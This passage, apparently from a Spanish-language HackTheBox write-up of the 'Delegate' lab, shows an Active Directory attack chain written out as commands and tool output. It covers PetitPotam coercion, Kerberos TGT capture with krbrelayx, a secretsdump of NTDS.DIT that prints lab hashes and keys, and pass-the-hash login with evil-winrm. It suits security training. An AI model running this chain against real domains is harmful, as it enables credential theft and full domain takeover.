SMB         10.129.234.69   445    DC1              [*] Windows Server 2022 Build 20348 x64 (name:DC1) (domain:delegate.vl) (signing:True) (SMBv1:False)
SMB         10.129.234.69   445    DC1              [+] delegate.vl\w0ndr$:w0nder11ng
COERCE_PLUS 10.129.234.69   445    DC1              VULNERABLE, PetitPotam
COERCE_PLUS 10.129.234.69   445    DC1              Exploit Success, lsarpc\EfsRpcAddUsersToFile

Al momento de forzar la autenticación krberlayx captura la autenticación de la cuenta DC$ y obtengo su TGT.

[*] Servers started, waiting for connections
[*] Setting up DNS Server
[*] Setting up HTTP Server on port 80
[*] SMBD: Received connection from 10.129.234.69
[*] Got ticket for DC1$@DELEGATE.VL [krbtgt@DELEGATE.VL]
[*] Saving ticket in DC1$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache
[*] SMBD: Received connection from 10.129.234.69
[*] Got ticket for DC1$@DELEGATE.VL [krbtgt@DELEGATE.VL]
[*] Saving ticket in DC1$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache

Puedo utilizar este TGT exportando la variable de entorno KRB5CCNAME y con klist puedo ver la propiedades del TGT:

┌──(wndr㉿wndr)-[~/Machines/hackthebox/delegate]
└─$ export KRB5CCNAME='DC1$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache'

┌──(wndr㉿wndr)-[~/Machines/hackthebox/delegate]
└─$ klist
Ticket cache: FILE:DC1$@DELEGATE.VL_krbtgt@DELEGATE.VL.ccache
Default principal: DC1$@DELEGATE.VL

Valid starting       Expires              Service principal
02/05/2026 07:28:42  02/05/2026 16:02:05  krbtgt/DELEGATE.VL@DELEGATE.VL
        renew until 02/12/2026 06:02:05

Con el TGT de la cuenta maquina del DC puedo dumpear el ntds.dit:

┌──(wndr㉿wndr)-[~/Machines/hackthebox/delegate]
└─$ impacket-secretsdump -k -no-pass 'delegate.vl/DC1$@dc1.delegate.vl'
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies

[-] Policy SPN target name validation might be restricting full DRSUAPI dump. Try -just-dc-user
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:c32198ceab4cc695e65045562aa3ee93:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:54999c1daa89d35fbd2e36d01c4a2cf2:::
A.Briggs:1104:aad3b435b51404eeaad3b435b51404ee:8e5a0462f96bc85faf20378e243bc4a3:::
b.Brown:1105:aad3b435b51404eeaad3b435b51404ee:deba71222554122c3634496a0af085a6:::
R.Cooper:1106:aad3b435b51404eeaad3b435b51404ee:17d5f7ab7fc61d80d1b9d156f815add1:::
J.Roberts:1107:aad3b435b51404eeaad3b435b51404ee:4ff255c7ff10d86b5b34b47adc62114f:::
N.Thompson:1108:aad3b435b51404eeaad3b435b51404ee:4b514595c7ad3e2f7bb70e7e61ec1afe:::
DC1$:1000:aad3b435b51404eeaad3b435b51404ee:f7caf5a3e44bac110b9551edd1ddfa3c:::
wndr$:4601:aad3b435b51404eeaad3b435b51404ee:4d2d96052a6a103cd2a47db760b45e24:::
w0ndr$:4602:aad3b435b51404eeaad3b435b51404ee:56ade972b15b9bc68ada27ef0729c37c:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:f877adcb278c4e178c430440573528db38631785a0afe9281d0dbdd10774848c
Administrator:aes128-cts-hmac-sha1-96:3a25aca9a80dfe5f03cd03ea2dcccafe
Administrator:des-cbc-md5:ce257f16ec25e59e
krbtgt:aes256-cts-hmac-sha1-96:8c4fc32299f7a468f8b359f30ecc2b9df5e55b62bec3c4dcf53db2c47d7a8e93
krbtgt:aes128-cts-hmac-sha1-96:c2267dd0a5ddfee9ea02da78fed7ce70
krbtgt:des-cbc-md5:ef491c5b736bd04c
A.Briggs:aes256-cts-hmac-sha1-96:7692e29d289867634fe2c017c6f0a4853c2f7a103742ee6f3b324ef09f2ba1a1
A.Briggs:aes128-cts-hmac-sha1-96:bb0b1ab63210e285d836a29468a14b16
A.Briggs:des-cbc-md5:38da2a92611631d9
b.Brown:aes256-cts-hmac-sha1-96:446117624e527277f0935310dfa3031e8980abf20cddd4a1231ebf03e64fee8d
b.Brown:aes128-cts-hmac-sha1-96:13d1517adfa91fbd3069ed2dff04a41b
b.Brown:des-cbc-md5:ce407ac8d95ee6f2
R.Cooper:aes256-cts-hmac-sha1-96:786bef43f024e846c06ed7870f752ad4f7c23e9fdc21f544048916a621dbceef
R.Cooper:aes128-cts-hmac-sha1-96:8c6da3c96665937b96c7db2fe254e837
R.Cooper:des-cbc-md5:a70e158c75ba4fc1
J.Roberts:aes256-cts-hmac-sha1-96:aac061da82ae9eb2ca5ca5c4dd37b9af948267b1ce816553cbe56de60d2fa32c
J.Roberts:aes128-cts-hmac-sha1-96:fa3ef45e30cf44180b29def0305baeb6
J.Roberts:des-cbc-md5:6858c8d3456451f4
N.Thompson:aes256-cts-hmac-sha1-96:7555e50192c2876247585b1c3d06ba5563026c5f0d4ade2b716741b22714b598
N.Thompson:aes128-cts-hmac-sha1-96:7ad8c208f8ff8ee9f806c657afe81ea2
N.Thompson:des-cbc-md5:7cab43c191a7ecf2
DC1$:aes256-cts-hmac-sha1-96:358880cace9d6c849f2069f2ac7582b18de5185b3c815b6728cb3542c0d25fa1
DC1$:aes128-cts-hmac-sha1-96:f922407dfc023ec95d458257224ce8d9
DC1$:des-cbc-md5:9e16cd46ad54cba7
wndr$:aes256-cts-hmac-sha1-96:98f59c848db3640c6c29e9c0b1044d253aa22af9a8a2e5a991625c0a81e34679
wndr$:aes128-cts-hmac-sha1-96:04d2fdb8c82b23ede3b28e0b11fc5a1a
wndr$:des-cbc-md5:f454df0d7cb6620e
w0ndr$:aes256-cts-hmac-sha1-96:5fab672d5206de70405cbf25c2972cf83b093e077a505ca2a7dc9efb5116f70e
w0ndr$:aes128-cts-hmac-sha1-96:0e65bda58c591466a3de5a4e4148fee5
w0ndr$:des-cbc-md5:b6a8ced6f8e585da
[*] Cleaning up...

Ahora puedo conectarme vía WinRm.

┌──(wndr㉿wndr)-[~/Machines/hackthebox/delegate]
└─$ evil-winrm-py -i 10.129.234.69 -u administrator -H 'c32198ceab4cc695e65045562aa3ee93'
          _ _            _
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.5.0

evil-winrm-py PS C:\Users\Administrator\Documents> whoami
delegate\administrator
evil-winrm-py PS C:\Users\Administrator\Documents> cd ..
evil-winrm-py PS C:\Users\Administrator> cd Desktop
evil-winrm-py PS C:\Users\Administrator\Desktop> type root.txt
89bf3cdda09fc31b6883dc*****

PWNED